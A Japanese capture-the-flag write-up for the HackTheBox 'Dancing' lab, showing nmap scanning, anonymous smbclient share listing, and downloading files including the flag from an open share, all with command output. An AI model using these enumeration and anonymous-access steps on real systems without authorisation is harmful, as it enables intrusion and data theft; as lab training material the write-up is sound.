はじめに
本記事は「HackTheBox:Dancing」のwriteupです。
問題
SMBでサーバに乗り込みフラグを探す問題です。
回答
とりあえず、ポートスキャンします。
microsoft-ds(smb)(tcp/445)
が公開されていることがわかりました。
┌──(kali㉿kali)-[~]
└─$ nmap -sV 10.129.31.54
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-24 21:58 JST
Nmap scan report for 10.129.31.54
Host is up (0.18s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1083/tcp filtered ansoft-lm-1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.85 seconds
次に、smbclient
でサーバに繋いでみます。
-L
オプションでサーバー上で利用可能なサービスの一覧を取得できます。
パスワードを聞かれますが、空でも成功します。
結果4つのサービスがあることがわかりました。
┌──(kali㉿kali)-[~]
└─$ smbclient -L 10.129.31.54
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
WorkShares Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.31.54 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
サービス1つずつログインを試みたところIPC$
、WorkShares
がパスワードなしでログインすることができました。
┌──(kali㉿kali)-[~]
└─$ smbclient //10.129.31.54/ADMIN$
Password for [WORKGROUP\kali]:
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(kali㉿kali)-[~]
└─$ smbclient //10.129.31.54/C$
Password for [WORKGROUP\kali]:
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(kali㉿kali)-[~]
└─$ smbclient //10.129.31.54/IPC$
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
┌──(kali㉿kali)-[~]
└─$ smbclient //10.129.31.54/WorkShares
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Mar 29 17:22:01 2021
.. D 0 Mon Mar 29 17:22:01 2021
Amy.J D 0 Mon Mar 29 18:08:24 2021
James.P D 0 Thu Jun 3 17:38:03 2021
WorkShares
ではカレントディレクトリにディレクトリがあったのでそれぞれ調べます。
James.P
の方にフラグファイルがありました。
smb: \> cd Amy.J\
smb: \Amy.J\> ls
. D 0 Mon Mar 29 18:08:24 2021
.. D 0 Mon Mar 29 18:08:24 2021
worknotes.txt A 94 Fri Mar 26 20:00:37 2021
5114111 blocks of size 4096. 1751416 blocks available
smb: \Amy.J\> get worknotes.txt
getting file \Amy.J\worknotes.txt of size 94 as worknotes.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \Amy.J\> cd ..
smb: \> cd James.P\
smb: \James.P\> ls
. D 0 Thu Jun 3 17:38:03 2021
.. D 0 Thu Jun 3 17:38:03 2021
flag.txt A 32 Mon Mar 29 18:26:57 2021
5114111 blocks of size 4096. 1751416 blocks available
smb: \James.P\> get flag.txt
getting file \James.P\flag.txt of size 32 as flag.txt (0.0 KiloBytes/sec) (average 0.1 KiloBytes/sec)